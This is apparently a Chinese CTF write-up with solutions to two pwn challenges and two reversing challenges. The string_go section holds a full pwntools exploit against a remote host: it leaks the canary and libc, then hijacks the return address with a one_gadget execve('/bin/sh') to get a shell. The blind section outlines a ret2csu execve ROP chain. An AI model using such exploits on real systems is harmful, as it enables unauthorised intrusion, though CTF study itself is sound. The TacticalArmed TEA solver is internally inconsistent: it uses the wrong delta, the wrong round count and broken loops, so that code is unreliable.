Pwn

string_go

C艹栈溢出,输入 -1 泄露 libc 和 cannary ,ret 覆盖 onegadget getshell

整个过程就是硬调试,将全部的 cin cout 都搭上断点,观察输入目标地址以及输入前后目标地址的变化,程序有个输入缓冲器在堆上面,大小是 0x1000

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import sys

local = 0
binary = "./string_go"
local_libc = "/lib/x86_64-linux-gnu/libc.so.6"
ip = "82.157.20.104"
port = 32000
remote_libc = "./libc-2.27.so"


def main(ip=ip,port=port):
global p,elf,libc
elf = ELF(binary)
if local:
context.log_level = "debug"
p=process(binary)
# p=process(binary,env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF(local_libc)
pwn()
else:
context.log_level = "debug"
p=remote(ip,port)
libc=ELF(remote_libc)
pwn()

def pwn():
p.sendlineafter(">>> ",str(3))
#v7
p.sendlineafter(">>> ",str(-1))
#v10
debug(p,'''b *$rebase(0x22ff)
b *$rebase(0x23a4)
b *$rebase(0x236a)
b *$rebase(0x2415)
b *$rebase(0x23b7)''')
p.sendlineafter(">>> ","skyeskye"*2)
#v2
p.sendlineafter(">>> ",'b')
p.recv(0x38)
cannary = u64(p.recv(8))
print "cannary:",hex(cannary)
p.recv(0xb8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))-231
print "leak_addr:",hex(leak_addr)
libc_addr = leak_addr - libc.sym['__libc_start_main']
print "libc_addr:",hex(libc_addr)

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

payload = 'a'*0x18+p64(cannary)+'a'*0x18
payload += p64(libc_addr+0x4f3d5)
p.sendline(payload)



p.interactive()

def cat_flag():
global flag
p.recv()
p.sendline("cat flag")
flag = p.recvuntil('\n',drop=True).strip()

def debug(p,content=''):
if local:
gdb.attach(p,content)
raw_input()

if __name__ == "__main__":
if(len(sys.argv)==3):
ip = sys.argv[1]
port = sys.argv[2]
main()

blind

没有输出函数,整个程序只有一个 read 造成的栈溢出,没办法泄露出 libc 信息,一开始思路是 ret2dl 。但是题目是 64 位,Partial RELRO 比较麻烦。

参考:https://x1ng.top/2020/03/18/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/ 的两种利用方法,需要知道 远程服务器上 read 和 system 的偏移。尝试爆破偏移,没有成功。

最后=。=在看雪上面找到了几乎就是原题的 wp

https://bbs.pediy.com/thread-270108.htm

image-20211126151633891

思路是将 alarm got 表偏移 +5 ,跳过 eax 赋值直接调用 syscall

img

利用 ROP 改最低位字节,然后利用 read 返回值是输入字符串长度且存放在 eax ,将 eax 覆盖成 0x3b ,然后 ret2csu 传参调用:execve('/bin/sh',0,0)

Re

ROR

8 位一组进行加密,倒过来解密

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
table=[0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B, 
0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F]
ciphertext=[0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79]
tmp,m=[0]*40,[0]*40


for i in range(40):
x=ciphertext[i]
for j in range(len(table)):
if table[j]==x:
tmp[i]=j
break

for i in range(0,40):
m[i ]=(((tmp[i]>>(7-i%8))&1)<<7)|(((tmp[i+1]>>(7-i%8))&1)<<6)|(((tmp[i+2]>>(7-i%8))&1)<<5)|(((tmp[i+3]>>(7-i%8))&1)<<4)|(((tmp[i+4]>>(7-i%8))&1)<<3)|(((tmp[i+5]>>(7-i%8))&1)<<2)|(((tmp[i+6]>>(7-i%8))&1)<<1)|(((tmp[i+7]>>(7-i%8))&1)<<0)

for i in range(40):
print(chr(m[i]),end='')

TacticalArmed

首先去反调试,然后在内存里面发现 tea 加密 DELTA 为 0x81A5692E 共计 33 轮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>

int cry[10] = {0x422F1DED, 0x1485E472, 0x035578D5, 0xBF6B80A2, 0x97D77245, 0x2DAE75D1,0x665FA963, 0x292E6D74,0x9795FCC1, 0x0BB5C8E9};
int key[4]={0x7CE45630, 0x58334908, 0x66398867 , 0xC35195B1};

void encrypt(unsigned int *A,unsigned int *B){
int j;
unsigned int v0 = A[0],v1 = A[1],sum = 0,delta = 0x81A5692E;
for(j=0;j<32;j++){

v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + B[sum & 3]);

sum += delta;

v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + B[(sum >> 11) & 3]);

}
A[0] = v0;
A[1] = v1;
}
void decrypt(unsigned int *A,unsigned int *B){
int j;
unsigned int v0 = A[0],v1 = A[1],delta = 0x9E3779B9,sum = delta * 32;
for(j=0;j<32;j++){

v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + B[(sum >> 11) & 3]);

sum -= delta;

v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + B[sum & 3]);

}
A[0] = v0;
A[1] = v1;

}
int main()
{
int i = 0;
int j = 0;
decrypt(cry, key);
for(i;i<10;i++){
for(j;j<4;j++){
printf("%c", (cry[i]>>(j*8)) & 0xff);
}
}
return 1;
}